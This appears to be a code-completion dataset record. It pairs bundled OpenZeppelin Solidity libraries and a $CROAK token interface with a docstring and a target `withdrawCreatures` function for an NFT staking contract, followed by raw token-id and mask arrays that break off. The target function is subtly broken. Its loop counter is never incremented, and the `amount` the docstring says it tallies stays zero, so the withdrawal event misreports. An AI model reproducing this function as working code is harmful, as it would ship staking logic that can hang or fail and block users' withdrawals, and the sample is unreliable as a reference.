* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract PausableUpgradeable is Initializable, ContextUpgradeable {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
function __Pausable_init() internal onlyInitializing {
__Pausable_init_unchained();
}
function __Pausable_init_unchained() internal onlyInitializing {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuardUpgradeable is Initializable {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
function __ReentrancyGuard_init() internal onlyInitializing {
__ReentrancyGuard_init_unchained();
}
function __ReentrancyGuard_init_unchained() internal onlyInitializing {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/ContextUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal onlyInitializing {
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal onlyInitializing {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol)
pragma solidity ^0.8.0;
import "../IERC20Upgradeable.sol";
import "../../../utils/AddressUpgradeable.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20Upgradeable {
using AddressUpgradeable for address;
function safeTransfer(
IERC20Upgradeable token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20Upgradeable token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20Upgradeable token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20Upgradeable token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20Upgradeable token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/utils/ERC721Holder.sol)
pragma solidity ^0.8.0;
import "../IERC721Receiver.sol";
/**
* @dev Implementation of the {IERC721Receiver} interface.
*
* Accepts all token transfers.
* Make sure the contract is able to use its token with {IERC721-safeTransferFrom}, {IERC721-approve} or {IERC721-setApprovalForAll}.
*/
contract ERC721Holder is IERC721Receiver {
/**
* @dev See {IERC721Receiver-onERC721Received}.
*
* Always returns `IERC721Receiver.onERC721Received.selector`.
*/
function onERC721Received(
address,
address,
uint256,
bytes memory
) public virtual override returns (bytes4) {
return this.onERC721Received.selector;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface ICroak {
function mint(address to, uint256 amount) external;
/**
* burns $CROAK from a holder
* @param from the holder of the $CROAK
* @param amount the amount of $CROAK to burn
*/
function burn(address from, uint256 amount) external;
/**
* enables an address to mint / burn
* @param controller the address to enable
*/
function addController(address controller) external returns(bool);
/**
* disables an address from minting / burning
* @param controller the address to disbale
*/
function removeController(address controller) external returns(bool);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal onlyInitializing {
}
function __Context_init_unchained() internal onlyInitializing {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20Upgradeable {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
} | @notice Withdraws staked creature NFTs @param tokenIds The tokenIds of the NFTs which will be withdrawn Check if the user who withdraws is the owner Transfer NFTs back to the owner Increment the amount which will be withdrawn Cleanup stakedAssets for the current tokenId | function withdrawCreatures(uint256[] memory tokenIds) external nonReentrant updateReward(msg.sender) {
require(tokenIds.length > 0, "SwampStaking: No tokenIds provided");
uint256 amount;
for (uint256 i; i < tokenIds.length;) {
require(stakedCreatures[tokenIds[i]] == msg.sender, "SwampStaking: Not the staker of the token");
creatureToken.safeTransferFrom(address(this), msg.sender, tokenIds[i]);
stakedCreatures[tokenIds[i]] = address(0);
}
emit Withdrawn(msg.sender, amount, tokenIds, 1);
}
| 1,127,475 | [
1,
1190,
9446,
87,
384,
9477,
1519,
1231,
423,
4464,
87,
225,
1147,
2673,
1021,
1147,
2673,
434,
326,
423,
4464,
87,
1492,
903,
506,
598,
9446,
82,
2073,
309,
326,
729,
10354,
598,
9446,
87,
353,
326,
3410,
12279,
423,
4464,
87,
1473,
358,
326,
3410,
17883,
326,
3844,
1492,
903,
506,
598,
9446,
82,
19968,
384,
9477,
10726,
364,
326,
783,
1147,
548,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
445,
598,
9446,
1996,
2790,
12,
11890,
5034,
8526,
3778,
1147,
2673,
13,
3903,
1661,
426,
8230,
970,
1089,
17631,
1060,
12,
3576,
18,
15330,
13,
288,
203,
565,
2583,
12,
2316,
2673,
18,
2469,
405,
374,
16,
315,
6050,
931,
510,
6159,
30,
2631,
1147,
2673,
2112,
8863,
203,
203,
565,
2254,
5034,
3844,
31,
203,
565,
364,
261,
11890,
5034,
277,
31,
277,
411,
